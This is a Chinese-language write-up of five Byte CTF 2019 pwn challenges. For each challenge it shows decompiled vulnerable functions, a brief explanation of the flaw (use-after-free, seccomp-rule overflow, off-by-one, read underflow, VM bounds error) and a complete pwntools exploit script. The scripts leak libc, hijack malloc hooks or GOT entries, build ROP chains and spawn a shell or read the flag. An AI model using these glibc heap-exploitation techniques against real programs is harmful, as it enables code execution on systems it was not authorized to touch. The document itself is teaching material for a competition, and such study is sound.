Byte CTF 2019 部分 writeup

源程序下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/byte_ctf_2019/pwn

PWN

Mulnote

void __fastcall start_routine(void *a1)
{
  free(ptr[(_QWORD)a1]);
  sleep(10u);
  ptr[(_QWORD)a1] = 0LL;
}

简单的UAF漏洞,虽然对程序流进行了混淆,但是并不影响做题。

思路

  • 泄露libc信息
  • 劫持hook

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './mulnote'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('112.126.101.96', 9999)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''

    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def Create(size, content):
    sh.sendafter('>', 'C\0')
    sh.sendlineafter('size>', str(size))
    sh.sendafter('note>', content)

def Remove(index):
    sh.sendafter('>', 'R\0')
    sh.sendlineafter('index>', str(index))

def Edit(index, content):
    sh.sendafter('>', 'E\0')
    sh.sendlineafter('index>', str(index))
    sh.sendafter('new ', content)

def Show():
    sh.sendafter('>', 'S\0')

# sh.sendafter('>', 'XxXxBbBb\0')
Create(0x98, '\n')
Create(0x68, '\n')
Create(0x68, '\n')
Remove(0)
Show()
sh.recvuntil('note[0]:\n')
result = sh.recvuntil('\n', drop=True)
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

Remove(2)
Remove(1)
Edit(1, p64(main_arena_addr - 0x33))

Create(0x68, '/bin/sh\0')
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
Create(0x68, 'z' * 0x13 + p64(libc_addr + 0x4526a))
sh.sendafter('>', 'C\0')
sh.sendlineafter('size>', str(1))

sh.interactive()
clear()

VIP

void __fastcall edit(unsigned int index)
{
  int v1; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( index <= 0xF )
  {
    if ( ptr[index] )
    {
      printf("Size: ");
      __isoc99_scanf("%u", &v1);
      printf("Content: ", &v1);
      read_n(ptr[index], v1);
      puts("Done!\n");
    }
  }
}

void __fastcall read_n(void *a1, int a2)
{
  int fd; // [rsp+1Ch] [rbp-4h]

  if ( dword_4040E0 )
  {
    read(0, a1, a2);
  }
  else
  {
    fd = open("/dev/urandom", 0);
    if ( fd == -1 )
      exit(0);
    read(fd, a1, a2);
  }
}

该题难点主要是绕过edit功能。而且在下面的函数中,恰好栈溢出使得我们可以配置沙箱规则。

void __cdecl become_vip()
{
  __int16 v0; // [rsp+0h] [rbp-90h]
  char *v1; // [rsp+8h] [rbp-88h]
  char buf[32]; // [rsp+10h] [rbp-80h]
  char v3[88]; // [rsp+30h] [rbp-60h]
  unsigned __int64 v4; // [rsp+88h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("OK, but before you become vip, please tell us your name: ");

  ...

  read(0, buf, 80uLL);
  printf("Hello, %s\n", buf);
  v0 = 11;
  v1 = v3;
  if ( prctl(38, 1LL, 0LL, 0LL, 0LL, *(_QWORD *)&v0, v3) < 0 )
  {
    perror("prctl(PR_SET_NO_NEW_PRIVS)");
    exit(2);
  }
  if ( prctl(22, 2LL, &v0) < 0 )
  {
    perror("prctl(PR_SET_SECCOMP)");
    exit(2);
  }
}

溢出了48个字节,可以配置6条规则,已经足够了。

open函数中会调用sys_openat,我们只要让其返回0,这样就可以直接读取输入流了。沙箱规则如下:

struct sock_filter filter[] = {
    BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0),
    BPF_JUMP(BPF_JMP|BPF_JEQ, 257, 1, 0),
    BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0),
    BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO),
    BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
};

由于关闭了sys_openat,而且程序设置了子进程会继承沙箱规则,所以不能正常起shell,但是我们可以进行ROP读取flag。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './vip'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('112.126.103.14', 9999)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *0x401898
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def alloc(index):
    sh.sendlineafter('choice: ', '1')
    sh.sendlineafter('Index: ', str(index))

def edit(index, size, content):
    sh.sendlineafter('choice: ', '4')
    sh.sendlineafter('Index: ', str(index))
    sh.sendlineafter('Size: ', str(size))
    sh.sendafter('Content: ', content)

def delete(index):
    sh.sendlineafter('choice: ', '3')
    sh.sendlineafter('Index: ', str(index))

def show(index):
    sh.sendlineafter('choice: ', '2')
    sh.sendlineafter('Index: ', str(index))

filter1 = ' \x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\x01\x01\x00\x005\x00\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f'
sh.sendlineafter('choice: ', '6')
sh.sendafter('name: ', 'a' * 32 + filter1)

for i in range(5):
    alloc(i)

delete(2)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.symbols['stderr']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('\n', drop=True)
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['_IO_2_1_stderr_']
log.success('libc_addr: ' + hex(libc_addr))

delete(3)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(libc_addr + libc.symbols['environ']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('\n', drop=True)
stack_addr = u64(result.ljust(8, '\0'))
log.success('stack_addr: ' + hex(stack_addr))

delete(4)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(stack_addr - 0xf8))
alloc(1)
alloc(2)
layout = [
    0x0000000000401016, # ret
    0x0000000000401016, # ret
    0x0000000000401016, # ret
    0x0000000000401016, # ret

    0x00000000004018fb, # : pop rdi ; ret
    stack_addr - 0xf8 + 0x100,
    0x00000000004018f9, # : pop rsi ; pop r15 ; ret
    0,
    0,
    libc_addr + 0x00000000000439c8, # : pop rax ; ret
    2, # sys_open
    libc_addr + 0x00000000000d2975, # : syscall ; ret

    0x00000000004018fb, # : pop rdi ; ret
    3,
    0x00000000004018f9, # : pop rsi ; pop r15 ; ret
    0x404800,
    0,
    libc_addr + 0x0000000000001b96, # : pop rdx ; ret
    0x100,
    elf.plt['read'],

    0x00000000004018fb, # : pop rdi ; ret
    0x404800,
    elf.plt['puts'],

    elf.plt['exit'],
]
edit(2, 0x200, flat(layout).ljust(0x100, '\0') + 'flag\0')

sh.sendlineafter('choice: ', '5')

sh.interactive()
clear()

notefive

void __fastcall read_n(char *str, signed int size, char end)
{
  char _end; // [rsp+0h] [rbp-20h]
  char buf; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  _end = end;
  v6 = __readfsqword(0x28u);
  for ( i = 0; i <= size; ++i )
  {
    if ( (signed int)read(0, &buf, 1uLL) <= 0 )
    {
      puts("read error");
      exit(0);
    }
    if ( buf == _end )
      break;
    str[i] = buf;
  }
}

off by one漏洞,难点在于其对于size的限制:

void __cdecl New()
{
  int index; // [rsp+8h] [rbp-8h]
  int size; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  index = get_int();
  if ( index >= 0 && index <= 4 )
  {
    printf("size: ");
    size = get_int();
    if ( size > 0x8F && size <= 0x400 )
    {
      ptr[index] = malloc(size);
      ptr_size[index] = size;
    }
    else
    {
      puts("size error");
    }
  }
  else
  {
    puts("idx error");
  }
}

对于我们来说fastbin还是更好用的,所以先用unsorted bin attack修改global_max_fast,使得fastbin可以使用。

New(0, 0x98)
New(1, 0x98)
New(2, 0x98)
New(3, 0x98)

delete(0)
edit(1, 'a' * 0x90 + p64(0x140) + p8(0xa0))
delete(2)

New(0, 0xe8)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10) + '\n')
New(4, 0xe8)

然后就是修改stdout结构体,虽然size被限制为size > 0x8F && size <= 0x400,但是原有的fastbin attack依然可以使用,我们可以利用stderr当中的0xffffffffffffffff进行偏移来伪造size。

pwndbg> x/16gx 0x7ffff7dd25c0
0x7ffff7dd25c0 <_IO_2_1_stderr_+128>: 0x0000000000000000  0x00007ffff7dd3770
0x7ffff7dd25d0 <_IO_2_1_stderr_+144>: 0xffffffffffffffff  0x0000000000000000
0x7ffff7dd25e0 <_IO_2_1_stderr_+160>: 0x00007ffff7dd1660  0x0000000000000000
0x7ffff7dd25f0 <_IO_2_1_stderr_+176>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd2600 <_IO_2_1_stderr_+192>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd2610 <_IO_2_1_stderr_+208>: 0x0000000000000000  0x00007ffff7dd06e0
0x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad2887  0x00007ffff7dd26a3
0x7ffff7dd2630 <_IO_2_1_stdout_+16>:  0x00007ffff7dd26a3  0x00007ffff7dd26a3
pwndbg> x/16gx 0x7ffff7dd25c0-1-8
0x7ffff7dd25b7 <_IO_2_1_stderr_+119>: 0xffffffffffffff00  0x00000000000000ff
0x7ffff7dd25c7 <_IO_2_1_stderr_+135>: 0x007ffff7dd377000  0xffffffffffffff00
0x7ffff7dd25d7 <_IO_2_1_stderr_+151>: 0x00000000000000ff  0x007ffff7dd166000
0x7ffff7dd25e7 <_IO_2_1_stderr_+167>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd25f7 <_IO_2_1_stderr_+183>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd2607 <_IO_2_1_stderr_+199>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd2617 <_IO_2_1_stderr_+215>: 0x007ffff7dd06e000  0x000000fbad288700
0x7ffff7dd2627 <_IO_2_1_stdout_+7>:   0x007ffff7dd26a300  0x007ffff7dd26a300

这样我们就有了一个0x00000000000000ff的size。 具体脚本如下:

delete(4)

edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p16(0x25cf) + '\n')
New(4, 0xe8)
New(0, 0xe8)
edit(0, 'b' * 0x41 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + p8(0x88) + '\n')

result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

最后就是劫持hook,由于__malloc_hook前面有stdin,其内部恰好也有0xffffffffffffffff,继续进行fastbin attack,但是其不能修改到__malloc_hook,但是我们可以fastbin attack接力,在中途写下一个0xf1的size,然后继续fastbin attack,这样就能修改到__malloc_hook

delete(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc_addr + libc.symbols['_IO_2_1_stdin_'] + 143) + '\n')
New(4, 0xe8)
New(0, 0xe8)

edit(0, '\0' * 0xe1 + p32(0xf1) + '\n')
delete(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc_addr + libc.symbols['_IO_2_1_stdin_'] + 376) + '\n')
New(4, 0xe8)
New(0, 0xe8)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
edit(0, '\0' * 0xa0 + p64(libc_addr + 0x4526a) + p64(libc_addr + libc.symbols['realloc'] + 13) + '\n')

# pause()
New(0, 0xe8)

sh.sendline('cat flag')

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './note_five'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('112.126.103.195', 9999)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    def pr
        x/5gx $rebase(0x202080)
        end

    b malloc
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def New(index, size):
    sh.sendlineafter('>> ', '1')
    sh.sendlineafter('idx: ', str(index))
    sh.sendlineafter('size: ', str(size))

def edit(index, content):
    sh.sendlineafter('>> ', '2')
    sh.sendlineafter('idx: ', str(index))
    sh.sendafter('content: ', content)

def delete(index):
    sh.sendlineafter('>> ', '3')
    sh.sendlineafter('idx: ', str(index))

New(0, 0x98)
New(1, 0x98)
New(2, 0x98)
New(3, 0x98)

delete(0)
edit(1, 'a' * 0x90 + p64(0x140) + p8(0xa0))
delete(2)

New(0, 0xe8)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10) + '\n')
New(4, 0xe8)
delete(4)

edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p16(0x25cf) + '\n')
New(4, 0xe8)
New(0, 0xe8)
edit(0, 'b' * 0x41 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + p8(0x88) + '\n')

result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

delete(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc_addr + libc.symbols['_IO_2_1_stdin_'] + 143) + '\n')
New(4, 0xe8)
New(0, 0xe8)

edit(0, '\0' * 0xe1 + p32(0xf1) + '\n')
delete(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc_addr + libc.symbols['_IO_2_1_stdin_'] + 376) + '\n')
New(4, 0xe8)
New(0, 0xe8)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
edit(0, '\0' * 0xa0 + p64(libc_addr + 0x4526a) + p64(libc_addr + libc.symbols['realloc'] + 13) + '\n')

# pause()
New(0, 0xe8)

sh.sendline('cat flag')

sh.interactive()
clear()

mheap

靶机环境是 glibc-2.27 。

void __fastcall read_n(char *str, signed int length)
{
  signed int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  v2 = 0;
  do
  {
    if ( v2 >= length )
      break;
    v3 = read(0, &str[v2], length - v2);
    if ( !v3 )
      exit(0);
    v2 += v3;
  }
  while ( str[v2 - 1] != 10 );
}

原先从没见过这种类型,原本read_n读取的字节数是锁死的,但是我们可以read到那0x1000内存的边缘,并且让其溢出,由于read使用的是系统调用,所以程序并不会因为错误内存引用而crash,最后read返回标志错误的-1,当返回-1之后,v2就会变小,这样我们就可以向上溢出了。

思路

  • 利用read的边缘操作向上溢出该free_listnext指针,使其指向got表
  • 劫持got

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''
    typedef struct Link{
        int size;
        struct Link *next;
    }Link;
    Link no_use;
    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './mheap'
sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    set $l = 0x4040c0
    set $f = (Link **)0x4040d0

    def fs
        set $t = *$f
        while $t
            p $t
            p *$t
            set $t=$t->next

            end
        end

    def pr
        x/4gx $l
        x/4gx (0x4040E0)
        end

    b *0x4011EA
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def alloc(index, size, content):
    sh.sendlineafter(': ', '1')
    sh.sendlineafter('Index: ', str(index))
    sh.sendlineafter('size: ', str(size))
    sh.sendafter('Content: ', content)

def edit(index, content):
    sh.sendlineafter(': ', '4')
    sh.sendlineafter('Index: ', str(index))
    sh.send(content)

def delete(index):
    sh.sendlineafter(': ', '3')
    sh.sendlineafter('Index: ', str(index))

def show(index):
    sh.sendlineafter(': ', '2')
    sh.sendlineafter('Index: ', str(index))

alloc(0, 0xfc0, '\n')
alloc(1, 0x10, '\0' * 0x10)
delete(1)
alloc(2, 0x28, p64(0x4040d0) + '\0' * 0x1f + '\n')
alloc(3, 0x23330fd0 - 0x10, p64(elf.got['atoi']) + '\n')
show(0)
result = sh.recvuntil('\n', drop=True)
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['atoi']
log.success('libc_addr: ' + hex(libc_addr))
edit(0, p64(libc_addr + libc.symbols['system']) + '\n')
sh.sendline('/bin/sh\0')

sh.interactive()
clear()

ezarch

刚开始用heap overlap来做,但是劫持了stdout之后就再也不能free了,原因是glibc-2.27的free会对地址进行对齐检查,所以偏移出来的size没有办法使用了。

看了W&M的博客之后,才发现模拟的虚拟机,其本身对于ebp处理的就有问题。

  v2 = a1->memory_size;
  if ( v1 >= v2 || (unsigned int)a1->_esp >= a1->field_10 || v2 <= a1->_ebp )

memory_size是用户可控的,栈大小是0x1000,如果设置memory_size大于0x100就可以修改vm的核心配置,比如stack_addr,将其指向修改指向got表,然后直接修改got表。

由于只有第一次memory_size可以自行设置,所以free.got表还没有解析,可以用puts.got来完成偏移计算。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './ezarch'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *$rebase(0xA6F)
    b *$rebase(0xFB6)
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def set_env(malloc_size, edit_size, content, eip, esp, ebp):
    sh.sendafter('>', 'M')
    sh.sendlineafter('>', str(malloc_size))
    sh.sendlineafter('>', str(edit_size))
    sh.sendafter(')\n', content)

    sh.sendlineafter('>', str(eip))
    sh.sendlineafter('>', str(esp))
    sh.sendlineafter('>', str(ebp))

layout = [
    '/bin/sh\0',
    # set stack_addr point to free.got
    p8(3) + p8(0x20) + p32(0)  + p32(17), # set r0 = stack_addr
    p8(2) + p8(0x10) + p32(0)  + p32(0xa8), # set r0 -= 0xa8
    p8(3) + p8(0x02) + p32(17)  + p32(0), # set stack_addr = r0

    # modify free.got to system.got
    p8(3) + p8(0x20) + p32(0)  + p32(16), # set r0 = stack_addr[esp], esp=12  puts.got+4
    p8(3) + p8(0x10) + p32(16)  + p32(4), # set esp = 4  free.got+4
    p8(3) + p8(0x02) + p32(16)  + p32(0), # set stack_addr[esp] = r0, esp=4  free.got+4
    p8(3) + p8(0x10) + p32(16)  + p32(8), # set esp = 8  puts.got
    p8(3) + p8(0x20) + p32(0)  + p32(16), # set r0 = stack_addr[esp], esp=8  puts.got
    p8(2) + p8(0x10) + p32(0)  + p32(libc.symbols['puts'] - libc.symbols['system']), # set r0 -= (libc.symbols['puts'] - libc.symbols['system'])
    p8(3) + p8(0x10) + p32(16)  + p32(0), # set esp = 0  free.got
    p8(3) + p8(0x02) + p32(16)  + p32(0), # set stack_addr[esp] = r0, esp=0  free.got
]

payload = flat(layout)
set_env(0x1018, len(payload), payload, 8, 12, 0x1008)
sh.sendafter('>', 'R')

sh.sendafter('>', 'M')
sh.sendlineafter('>', str(1))

sh.interactive()
clear()